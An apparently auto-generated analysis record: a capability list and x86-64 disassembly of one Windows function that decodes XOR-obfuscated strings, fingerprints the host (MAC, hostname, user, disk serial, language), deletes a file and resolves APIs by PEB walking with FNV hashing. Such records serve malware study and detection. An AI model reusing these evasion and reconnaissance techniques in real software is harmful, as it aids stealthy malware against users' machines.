Function at 0x7ff7b50b38f0
Capabilities:
Access peb ldr_data
Delete file
Encode data using xor
Get common file path
Get disk information
Get geographical location
Get hostname
Get mac address on windows
Get session user name
Hash data using fnv
Identify system language via api
Initialize winsock library
Resolve function by parsing pe exports
Set console window title
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x690]
sub rsp, 0x790
mov rax, qword [0x7ff7b50d0588]
xor rax, rsp
mov qword [rbp + 0x680], rax
mov r13, rdx
xor edi, edi
mov dword [rbp + 0x550], edi
lea edx, [rdi + 0x14]
lea rcx, [rbp + 0x560]
call fcn.7ff7b509d3c0
cmp qword [rax + 0x18], 0x10
jb 0x7ff7b50b394c
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.kernel32.dll_SetConsoleTitleA]
mov rdx, qword [rbp + 0x578]
cmp rdx, 0x10
jb 0x7ff7b50b3999
inc rdx
mov rcx, qword [rbp + 0x560]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff7b50b3994
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff7b50b3994
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff7b50c1294
movabs rax, 0x90f747038d31e511
mov qword [rbp + 0x590], rax
movabs rax, 0xf632543e64af3d06
mov qword [rbp + 0x598], rax
movabs rax, 0xfcd92277ec559564
mov qword [rbp + 0x530], rax
movabs rax, 0xf632543e64af5a69
mov qword [rbp + 0x538], rax
movdqa xmm0, xmmword [rbp + 0x590]
pxor xmm0, xmmword [rbp + 0x530]
movdqa xmmword [rbp + 0x530], xmm0
mov rdx, rdi
lea rcx, section._________1
nop
movzx eax, byte [rbp + rdx + 0x530]
mov byte [rdx + rcx], al
lea rdx, [rdx + 1]
test al, al
jne 0x7ff7b50b3a00
call qword [sym.imp.kernel32.dll_DeleteFileA]
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x590], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1a0], xmm1
movdqu xmmword [rbp + 0x1b0], xmm0
movdqu xmmword [rbp + 0x1c0], xmm1
mov dword [rbp + 0x530], 0x80000002
mov dword [rbp + 0x534], 0x80000003
mov dword [rbp + 0x538], 0x80000004
mov qword [rbp + 0x170], rdi
mov qword [rbp + 0x180], rdi
mov qword [rbp + 0x188], 0xf
mov byte [rbp + 0x170], 0
mov dword [rbp + 0x550], 1
lea r12, [rbp + 0x530]
mov r8, 0xffffffffffffffff
mov eax, dword [r12]
xor ecx, ecx
cpuid
mov dword [rbp + 0x590], eax
mov dword [rbp + 0x594], ebx
mov dword [rbp + 0x598], ecx
mov dword [rbp + 0x59c], edx
movups xmm0, xmmword [rbp + 0x590]
movups xmmword [rbp + 0x190], xmm0
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
lea rax, [rbp + 0x190]
inc r8
cmp byte [rax + r8], 0
jne 0x7ff7b50b3ae2
lea rdx, [rbp + 0x190]
lea rcx, [rsp + 0x50]
call fcn.7ff7b509fc20
nop
lea r9, [rsp + 0x50]
mov rdi, qword [rsp + 0x50]
mov r14, qword [rsp + 0x68]
cmp r14, 0x10
cmovae r9, rdi
mov r15, qword [rbp + 0x180]
mov rcx, qword [rbp + 0x188]
mov rax, rcx
sub rax, r15
mov rsi, qword [rsp + 0x60]
cmp rsi, rax
ja 0x7ff7b50b3b6b
lea rax, [rsi + r15]
mov qword [rbp + 0x180], rax
lea rbx, [rbp + 0x170]
cmp rcx, 0x10
cmovae rbx, qword [rbp + 0x170]
lea rcx, [rbx + r15]
mov r8, rsi
mov rdx, r9
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsi + rbx]
mov byte [rax + r15], 0
jmp 0x7ff7b50b3b8c
mov qword [rsp + 0x20], rsi
xor r8d, r8d
mov rdx, rsi
lea rcx, [rbp + 0x170]
call fcn.7ff7b5093a60
mov r14, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x50]
cmp r14, 0x10
jb 0x7ff7b50b3bbf
lea rdx, [r14 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x7ff7b50b3bb7
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff7b50b3bd6
mov rcx, rdi
call fcn.7ff7b50c1294
add r12, 4
lea rax, [rbp + 0x53c]
cmp r12, rax
je 0x7ff7b50b3bdd
xor edi, edi
jmp 0x7ff7b50b3a8e
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
lea rdx, [rbp + 0x170]
lea rcx, [0x7ff7b50d0448]
call fcn.7ff7b509cbb0
nop
mov rdx, qword [rbp + 0x188]
cmp rdx, 0x10
jb 0x7ff7b50b3c35
inc rdx
mov rcx, qword [rbp + 0x170]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff7b50b3c30
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff7b50b3c30
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff7b50c1294
xor r12d, r12d
mov qword [rbp + 0x530], r12
mov qword [rbp + 0x540], r12
mov qword [rbp + 0x548], 0xf
mov byte [rbp + 0x530], r12b
mov dword [rbp + 0x160], 0x2c0
mov ecx, 0x2c0
call qword [sym.imp.ucrtbase.dll_malloc]
mov rsi, rax
test rax, rax
je 0x7ff7b50b3d86
lea rdx, [rbp + 0x160]
mov rcx, rax
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
cmp eax, 0x6f
jne 0x7ff7b50b3caf
mov rcx, rsi
call qword [sym.imp.ucrtbase.dll_free]
mov ecx, dword [rbp + 0x160]
call qword [sym.imp.ucrtbase.dll_malloc]
mov rsi, rax
test rax, rax
je 0x7ff7b50b3d86
lea rdx, [rbp + 0x160]
mov rcx, rsi
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
test eax, eax
jne 0x7ff7b50b3d7d
mov rdi, rsi
test rsi, rsi
je 0x7ff7b50b3d86
lea rcx, [rdi + 0x1c0]
call sub.ws2_32.dll_inet_addr
mov ebx, eax
lea rcx, [rdi + 0x1f0]
call sub.ws2_32.dll_inet_addr
test ebx, ebx
jne 0x7ff7b50b3d02
test eax, eax
jne 0x7ff7b50b3d02
mov rdi, qword [rdi]
test rdi, rdi
jne 0x7ff7b50b3cd3
jmp 0x7ff7b50b3d7d
movzx eax, byte [rdi + 0x19d]
movzx ecx, byte [rdi + 0x19c]
movzx edx, byte [rdi + 0x19b]
movzx ebx, byte [rdi + 0x19a]
movzx r9d, byte [rdi + 0x199]
movzx r8d, byte [rdi + 0x198]
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], ecx
mov dword [rsp + 0x28], edx
mov dword [rsp + 0x20], ebx
lea rdx, [0x7ff7b50c63d0]
lea rcx, [rbp + 0x230]
call fcn.7ff7b50c0a10
lea rax, [rbp + 0x230]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x7ff7b50b3d60
lea rdx, [rbp + 0x230]
lea rcx, [rbp + 0x530]
call fcn.7ff7b509fc20
mov rcx, rsi
call qword [sym.imp.ucrtbase.dll_free]
movups xmm0, xmmword [rbp + 0x530]
movups xmm1, xmmword [rbp + 0x540]
movups xmmword [rbp + 0x590], xmm0
movups xmmword [rbp + 0x5a0], xmm1
lea rdx, [rbp + 0x590]
lea rcx, [0x7ff7b50d03e8]
call fcn.7ff7b509cbb0
mov rdx, qword [rbp + 0x5a8]
cmp rdx, 0x10
jb 0x7ff7b50b3df6
inc rdx
mov rcx, qword [rbp + 0x590]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff7b50b3df1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff7b50b42ec
call fcn.7ff7b50c1294
lea rcx, [rbp + 0x560]
call fcn.7ff7b50b07c0
mov rdx, rax
lea rcx, [0x7ff7b50d0408]
call fcn.7ff7b509cbb0
mov rdx, qword [rbp + 0x578]
cmp rdx, 0x10
jb 0x7ff7b50b3e55
inc rdx
mov rcx, qword [rbp + 0x560]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff7b50b3e50
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff7b50b3e50
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff7b50c1294
movabs rbx, 0xfc9e2665ad6cc84a
movabs r15, 0x5720947deb937b4b
movabs r14, 0x57ba92e040cd6ec8
cmp qword [0x7ff7b50d0418], 0
jne 0x7ff7b50b3f25
call qword [sym.imp.kernel32.dll_GetLastError]
movabs rcx, 0x90f747038d31e511
mov qword [rbp + 0x510], rcx
movabs rcx, 0xf632543e64af3d06
mov qword [rbp + 0x518], rcx
mov qword [rbp + 0x520], r15
mov qword [rbp + 0x528], r14
mov qword [rbp + 0x530], rbx
movabs rcx, 0xd3122613038f5963
mov qword [rbp + 0x538], rcx
movabs rcx, 0x5720947deb937113
mov qword [rbp + 0x540], rcx
mov qword [rbp + 0x548], r14
movdqa xmm0, xmmword [rbp + 0x510]
pxor xmm0, xmmword [rbp + 0x530]
movdqa xmmword [rbp + 0x530], xmm0
movdqa xmm1, xmmword [rbp + 0x520]
pxor xmm1, xmmword [rbp + 0x540]
movdqa xmmword [rbp + 0x540], xmm1
mov edx, eax
lea rcx, [rbp + 0x530]
call fcn.7ff7b50c05b0
mov qword [rbp + 0x530], r12
mov qword [rbp + 0x540], r12
mov qword [rbp + 0x548], 0xf
mov byte [rbp + 0x530], 0
mov ecx, 0x202
lea rdx, [rbp + 0x370]
call sub.ws2_32.dll_WSAStartup
mov edx, 0x100
lea rcx, [rbp + 0x230]
call sub.ws2_32.dll_gethostname
cmp eax, 0xffffffff
jne 0x7ff7b50b3f91
movups xmm0, xmmword [rbp + 0x530]
movups xmmword [rbp + 0x510], xmm0
movups xmm1, xmmword [rbp + 0x540]
movups xmmword [rbp + 0x520], xmm1
mov rbx, 0xffffffffffffffff
jmp 0x7ff7b50b3fe0
lea rax, [rbp + 0x230]
mov rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x7ff7b50b3fa2
lea rdx, [rbp + 0x230]
lea rcx, [rbp + 0x530]
call fcn.7ff7b509fc20
call sub.ws2_32.dll_WSACleanup
movups xmm0, xmmword [rbp + 0x530]
movups xmmword [rbp + 0x510], xmm0
movups xmm1, xmmword [rbp + 0x540]
movups xmmword [rbp + 0x520], xmm1
lea rdx, [rbp + 0x510]
lea rcx, [0x7ff7b50d0428]
call fcn.7ff7b509cbb0
mov rdx, qword [rbp + 0x528]
cmp rdx, 0x10
jb 0x7ff7b50b4034
inc rdx
mov rcx, qword [rbp + 0x510]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff7b50b402f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff7b50b42ec
call fcn.7ff7b50c1294
lea rcx, [rbp + 0x560]
call fcn.7ff7b50af700
mov rdx, rax
lea rcx, [0x7ff7b50d03c8]
call fcn.7ff7b509cbb0
mov rdx, qword [rbp + 0x578]
cmp rdx, 0x10
jb 0x7ff7b50b4093
inc rdx
mov rcx, qword [rbp + 0x560]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff7b50b408e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff7b50b408e
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff7b50c1294
lea rcx, [rbp + 0x560]
call fcn.7ff7b50afa90
mov rdx, rax
lea rdi, [0x7ff7b50d0348]
mov rcx, rdi
call fcn.7ff7b509cbb0
mov rdx, qword [rbp + 0x578]
cmp rdx, 0x10
jb 0x7ff7b50b40f5
inc rdx
mov rcx, qword [rbp + 0x560]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff7b50b40f0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff7b50b40f0
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff7b50c1294
mov qword [rbp + 0x530], r12
mov qword [rbp + 0x540], r12
mov qword [rbp + 0x548], 0xf
mov byte [rbp + 0x530], 0
mov dword [rbp + 0x550], 0x100
lea rdx, [rbp + 0x550]
lea rcx, [rbp + 0x230]
call qword [sym.imp.advapi32.dll_GetUserNameA]
test eax, eax
je 0x7ff7b50b415e
lea rax, [rbp + 0x230]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x7ff7b50b4141
lea rdx, [rbp + 0x230]
lea rcx, [rbp + 0x530]
call fcn.7ff7b509fc20
movups xmm1, xmmword [rbp + 0x540]
movups xmm0, xmmword [rbp + 0x530]
movups xmmword [rbp + 0x520], xmm1
movups xmmword [rbp + 0x510], xmm0
lea rdx, [rbp + 0x510]
lea rcx, [0x7ff7b50d0368]
call fcn.7ff7b509cbb0
mov rdx, qword [rbp + 0x528]
cmp rdx, 0x10
jb 0x7ff7b50b41ce
inc rdx
mov rcx, qword [rbp + 0x510]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff7b50b41c9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff7b50b42ec
call fcn.7ff7b50c1294
lea rcx, [rbp + 0x600]
call fcn.7ff7b50afa90
mov rdx, rax
lea rcx, [rbp + 0x560]
call fcn.7ff7b50b97c0
mov rdx, rax
lea rcx, [0x7ff7b50d0388]
call fcn.7ff7b509cbb0
mov rdx, qword [rbp + 0x578]
cmp rdx, 0x10
jb 0x7ff7b50b423d
inc rdx
mov rcx, qword [rbp + 0x560]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff7b50b4237
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff7b50b4237
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff7b50c1294
nop
mov qword [rbp + 0x510], r12
mov qword [rbp + 0x520], r12
mov qword [rbp + 0x528], 0xf
mov byte [rbp + 0x510], 0
mov dword [rbp + 0x550], 0x1e
lea rdx, [rbp + 0x230]
mov ecx, 0x100
call qword [sym.imp.kernel32.dll_GetTempPathA]
lea rax, [rbp + 0x230]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x7ff7b50b4283
lea rdx, [rbp + 0x230]
lea rcx, [rbp + 0x510]
call fcn.7ff7b509fc20
lea rdx, [rbp + 0x510]
lea rcx, [0x7ff7b50d0488]
call fcn.7ff7b509cbb0
nop
mov rdx, qword [rbp + 0x528]
cmp rdx, 0x10
jb 0x7ff7b50b42f8
inc rdx
mov rcx, qword [rbp + 0x510]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff7b50b42f3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff7b50b42f3
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff7b50c1294
call qword [sym.imp.kernel32.dll_GetSystemDefaultUILanguage]
movzx ecx, ax
mov r9d, 8
lea r8, [rbp + 0x550]
lea edx, [r9 + 0x51]
call qword [sym.imp.kernel32.dll_GetLocaleInfoA]
mov qword [rbp + 0x510], r12
mov qword [rbp + 0x520], r12
mov qword [rbp + 0x528], 0xf
lea rax, [rbp + 0x550]
mov r8, rbx
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x7ff7b50b4340
lea rdx, [rbp + 0x550]
lea rcx, [rbp + 0x510]
call fcn.7ff7b509fc20
lea rdx, [rbp + 0x510]
lea rcx, [0x7ff7b50d04a8]
call fcn.7ff7b509cbb0
mov r8, qword [rbp + 0x528]
cmp r8, 0x10
jb 0x7ff7b50b4393
inc r8
mov rdx, qword [rbp + 0x510]
lea rcx, [rbp + 0x510]
call fcn.7ff7b50a63d0
mov qword [rbp + 0x530], r12
mov qword [rbp + 0x540], r12
mov qword [rbp + 0x548], 0xf
mov byte [rbp + 0x530], 0
mov dword [rsp + 0x38], r12d
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
lea r9, [rbp + 0x550]
xor r8d, r8d
xor edx, edx
lea rcx, [0x7ff7b50c6418]
call qword [sym.imp.kernel32.dll_GetVolumeInformationA]
test eax, eax
je 0x7ff7b50b442d
mov r8d, dword [rbp + 0x550]
lea rdx, [0x7ff7b50c63c8]
lea rcx, [rbp + 0x230]
call fcn.7ff7b50c0a10
lea rax, [rbp + 0x230]
mov r8, rbx
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x7ff7b50b4410
lea rdx, [rbp + 0x230]
lea rcx, [rbp + 0x530]
call fcn.7ff7b509fc20
movups xmm1, xmmword [rbp + 0x540]
movups xmm0, xmmword [rbp + 0x530]
movups xmmword [rbp + 0x520], xmm1
movups xmmword [rbp + 0x510], xmm0
lea rdx, [rbp + 0x510]
lea rbx, [0x7ff7b50d0468]
mov rcx, rbx
call fcn.7ff7b509cbb0
mov r8, qword [rbp + 0x528]
cmp r8, 0x10
jb 0x7ff7b50b4482
inc r8
mov rdx, qword [rbp + 0x510]
lea rcx, [rbp + 0x510]
call fcn.7ff7b50a63d0
mov rcx, qword [0x7ff7b50d0358]
mov rdx, qword [0x7ff7b50d0478]
movabs rsi, 0x7fffffffffffffff
mov rax, rsi
sub rax, rcx
cmp rax, rdx
jb 0x7ff7b50b6958
mov r9, rdi
cmp qword [0x7ff7b50d0360], 0x10
cmovae r9, qword [0x7ff7b50d0348]
mov rax, rbx
cmp qword [0x7ff7b50d0480], 0x10
cmovae rax, qword [0x7ff7b50d0468]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov r8, rdi
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x600]
call fcn.7ff7b509a610
lea rdx, [rbp + 0x600]
lea rcx, [rbp + 0x560]
call fcn.7ff7b50b97c0
mov rdx, rax
lea rcx, [0x7ff7b50d03a8]
call fcn.7ff7b509cbb0
mov r8, qword [rbp + 0x578]
cmp r8, 0x10
jb 0x7ff7b50b4537
inc r8
mov rdx, qword [rbp + 0x560]
lea rcx, [rbp + 0x560]
call fcn.7ff7b50a63d0
movabs rax, 0x90f747038d31e511
mov qword [rbp + 0x590], rax
movabs rax, 0xf632543e64af3d06
mov qword [rbp + 0x598], rax
movabs rax, 0xe4a82271f8528062
mov qword [rbp + 0x530], rax
movabs rax, 0xf632543e0aca5669
mov qword [rbp + 0x538], rax
movdqa xmm0, xmmword [rbp + 0x590]
pxor xmm0, xmmword [rbp + 0x530]
movdqa xmmword [rbp + 0x530], xmm0
mov rcx, qword [0x7ff7b50d0358]
mov rdx, qword [0x7ff7b50d0478]
mov rax, rsi
sub rax, rcx
cmp rax, rdx
jb 0x7ff7b50b695e
mov r9, rdi
cmp qword [0x7ff7b50d0360], 0x10
cmovae r9, qword [0x7ff7b50d0348]
mov rax, rbx
cmp qword [0x7ff7b50d0480], 0x10
cmovae rax, qword [0x7ff7b50d0468]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov r8, rdi
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x510]
call fcn.7ff7b509a610
nop
lea r8, [rbp + 0x530]
lea rdx, [rbp + 0x510]
lea rcx, [rbp + 0x560]
call fcn.7ff7b5091c70
mov rdx, rax
lea rcx, [rbp + 0x1d0]
call fcn.7ff7b50b97c0
nop
mov r8, qword [rbp + 0x528]
cmp r8, 0x10
jb 0x7ff7b50b4647
inc r8
mov rdx, qword [rbp + 0x510]
lea rcx, [rbp + 0x510]
call fcn.7ff7b50a63d0
mov qword [rbp + 0x520], r12
mov qword [rbp + 0x528], 0xf
mov byte [rbp + 0x510], 0
movabs rax, 0x90f747038d31e511
mov qword [rbp + 0x590], rax
movabs rax, 0xf632543e64af3d06
mov qword [rbp + 0x598], rax
movabs rax, 0xfda82271f8528062
mov qword [rbp + 0x530], rax
movabs rax, 0xf632544716c05063
mov qword [rbp + 0x538], rax
movdqa xmm0, xmmword [rbp + 0x590]
pxor xmm0, xmmword [rbp + 0x530]
movdqa xmmword [rbp + 0x530], xmm0
mov rcx, qword [0x7ff7b50d0358]
mov rdx, qword [0x7ff7b50d0478]
mov rax, rsi
sub rax, rcx
cmp rax, rdx
jb 0x7ff7b50b6964
mov r9, rdi
cmp qword [0x7ff7b50d0360], 0x10
cmovae r9, qword [0x7ff7b50d0348]
cmp qword [0x7ff7b50d0480], 0x10
cmovae rbx, qword [0x7ff7b50d0468]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rcx
mov r8, rdi
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp - 0x60]
call fcn.7ff7b509a610
nop
lea r8, [rbp + 0x530]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x600]
call fcn.7ff7b5091c70
mov rdx, rax
lea rcx, [rbp + 0x1f0]
call fcn.7ff7b50b97c0
nop
mov r8, qword [rbp - 0x48]
cmp r8, 0x10
jb 0x7ff7b50b475e
inc r8
mov rdx, qword [rbp - 0x60]
lea rcx, [rbp - 0x60]
call fcn.7ff7b50a63d0
mov qword [rbp - 0x50], r12
mov qword [rbp - 0x48], 0xf
mov byte [rbp - 0x60], 0
call qword [sym.imp.kernel32.dll_AllocConsole]
mov ecx, 1
call qword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov r8, rax
lea rdx, [0x7ff7b50c6584]
lea rcx, [0x7ff7b50c6588]
call qword [sym.imp.ucrtbase.dll_freopen]
cmp qword [r13 + 8], 0
je 0x7ff7b50b680a
cmp qword [r13 + 0x10], 0
je 0x7ff7b50b680a
cmp qword [r13 + 0x18], 0
je 0x7ff7b50b680a
cmp qword [r13 + 0x20], 0
je 0x7ff7b50b680a
mov r8d, 2
lea rdx, [0x7ff7b50c6590]
lea r15, [0x7ff7b50d0288]
mov rcx, r15
call fcn.7ff7b509fc20
mov rdx, qword [r13 + 8]
lea rcx, [rbp + 0x560]
call fcn.7ff7b509a7d0
mov rdx, rax
lea rcx, [rbp + 0x5e0]
call fcn.7ff7b50a57a0
mov rdx, rax
lea rcx, [0x7ff7b50d02a8]
call fcn.7ff7b509cbb0
lea rcx, [rbp + 0x5e0]
call fcn.7ff7b509bbf0
mov rdx, qword [r13 + 0x10]
lea rcx, [rbp + 0x560]
call fcn.7ff7b509a7d0
mov rdx, rax
lea rcx, [rbp + 0x5e0]
call fcn.7ff7b50a57a0
mov rdx, rax
lea rcx, [0x7ff7b50d02c8]
call fcn.7ff7b509cbb0
lea rcx, [rbp + 0x5e0]
call fcn.7ff7b509bbf0
mov rdx, qword [r13 + 0x18]
lea rcx, [rbp + 0x560]
call fcn.7ff7b509a7d0
mov rdx, rax
lea rcx, [rbp + 0x5e0]
call fcn.7ff7b50a57a0
mov rdx, rax
lea rcx, [0x7ff7b50d02e8]
call fcn.7ff7b509cbb0
lea rcx, [rbp + 0x5e0]
call fcn.7ff7b509bbf0
mov rdx, qword [r13 + 0x20]
lea rcx, [rbp + 0x560]
call fcn.7ff7b509a7d0
mov rdx, rax
lea rcx, [rbp + 0x5e0]
call fcn.7ff7b50a57a0
mov rdx, rax
lea r14, [0x7ff7b50d0308]
mov rcx, r14
call fcn.7ff7b509cbb0
lea rcx, [rbp + 0x5e0]
call fcn.7ff7b509bbf0
mov ecx, 0x390
call fcn.7ff7b50c1258
mov r13, rax
mov qword [rbp + 0x550], rax
movabs rbx, 0x6bb44ecaa67151ca
test rax, rax
je 0x7ff7b50b4c06
xor edx, edx
mov r8d, 0x390
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
lea rax, [rbp + 0x560]
mov qword [rsp + 0x50], rax
lea rax, [rbp + 0x60]
mov qword [rbp + 0x170], rax
mov rdx, r14
lea rcx, [rbp + 0x560]
call fcn.7ff7b509a340
mov r12, rax
lea rax, [rbp + 0x5e0]
mov qword [rbp - 0x10], rax
lea rdx, [0x7ff7b50d02e8]
lea rcx, [rbp + 0x5e0]
call fcn.7ff7b509a340
mov r15, rax
lea rax, [rbp + 0x660]
mov qword [rbp - 8], rax
lea rdx, [0x7ff7b50d02c8]
lea rcx, [rbp + 0x660]
call fcn.7ff7b509a340
mov r14, rax
lea rax, [rbp + 0x20]
mov qword [rbp + 0x590], rax
lea rdx, [0x7ff7b50d02a8]
lea rcx, [rbp + 0x20]
call fcn.7ff7b509a340
mov rsi, rax
lea rax, [rbp]
mov qword [rbp + 0x530], rax
lea rdx, [0x7ff7b50d0288]
lea rcx, [rbp]
call fcn.7ff7b509a340
mov rdi, rax
movabs rax, 0x90f747038d31e511
mov qword [rbp + 0x620], rax
movabs rax, 0xf632543e64af3d06
mov qword [rbp + 0x628], rax
movabs rcx, 0x5720947deb937b4b
mov qword [rbp + 0x630], rcx
movabs rax, 0x57ba92e040cd6ec8
mov qword [rbp + 0x638], rax
movabs rax, 0xc4cf699f788c1c05
mov qword [rbp + 0x640], rax
mov qword [rbp + 0x648], rbx
movabs rax, 0x58be1ca939a135bf
mov qword [rbp + 0x650], rax
movabs rcx, 0xd4bd5dece093b74c
mov qword [rbp + 0x658], rcx
movabs rax, 0x9096476c8d5de53e
mov qword [rbp + 0x190], rax
movabs rax, 0xf61d544c64ca3d62
mov qword [rbp + 0x198], rax
movabs rax, 0x5744941cebfc7b27
mov qword [rbp + 0x1a0], rax
movabs rax, 0x57c892bf40bf6ead
mov qword [rbp + 0x1a8], rax
movabs rax, 0xc4aa69ea78fd1c60
mov qword [rbp + 0x1b0], rax
movabs rax, 0x6bc44ee4a60551b9
mov qword [rbp + 0x1b8], rax
movabs rax, 0x58be1ca939d135d7
mov qword [rbp + 0x1c0], rax
mov qword [rbp + 0x1c8], rcx
movdqa xmm0, xmmword [rbp + 0x620]
pxor xmm0, xmmword [rbp + 0x190]
movdqa xmmword [rbp + 0x190], xmm0
movdqa xmm1, xmmword [rbp + 0x630]
pxor xmm1, xmmword [rbp + 0x1a0]
movdqa xmmword [rbp + 0x1a0], xmm1
movdqa xmm0, xmmword [rbp + 0x640]
pxor xmm0, xmmword [rbp + 0x1b0]
movdqa xmmword [rbp + 0x1b0], xmm0
movdqa xmm1, xmmword [rbp + 0x650]
pxor xmm1, xmmword [rbp + 0x1c0]
movdqa xmmword [rbp + 0x1c0], xmm1
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x60]
call fcn.7ff7b509a7d0
mov rbx, rax
movabs rax, 0x90f747038d31e511
mov qword [rbp + 0x510], rax
movabs rax, 0xf632543e64af3d06
mov qword [rbp + 0x518], rax
movabs rax, 0x5720947deb937b4b
mov qword [rbp + 0x520], rax
movabs rax, 0x57ba92e040cd6ec8
mov qword [rbp + 0x528], rax
movabs rax, 0x908547738d41e57e
mov qword [rbp - 0x80], rax
movabs rax, 0xf65d544d64dc3d63
mov qword [rbp - 0x78], rax
movabs rax, 0x57599405ebbd7b39
mov qword [rbp - 0x70], rax
movabs rax, 0x57ba92e040cd6eb2
mov qword [rbp - 0x68], rax
movdqa xmm0, xmmword [rbp + 0x510]
pxor xmm0, xmmword [rbp - 0x80]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmm1, xmmword [rbp + 0x520]
pxor xmm1, xmmword [rbp - 0x70]
movdqa xmmword [rbp - 0x70], xmm1
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x40]
call fcn.7ff7b509a7d0
nop
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rsi
mov r9, rdi
mov r8, rbx
mov rdx, rax
mov rcx, r13
call fcn.7ff7b509aea0
movabs rsi, 0x7fffffffffffffff
lea r14, [0x7ff7b50d0308]
lea r15, [0x7ff7b50d0288]
xor r12d, r12d
jmp 0x7ff7b50b4c09
mov rax, r12
mov qword [0x7ff7b50d0df0], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov edi, dword [rcx + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x7ff7b50b4ca3
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x7ff7b50b4ca3
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r9 + r8*4]
mov edx, dword [rcx + r11]
add rdx, r9
mov ebx, 0xaf0ca681
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x7ff7b50b4c9e
nop dword [rax]
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
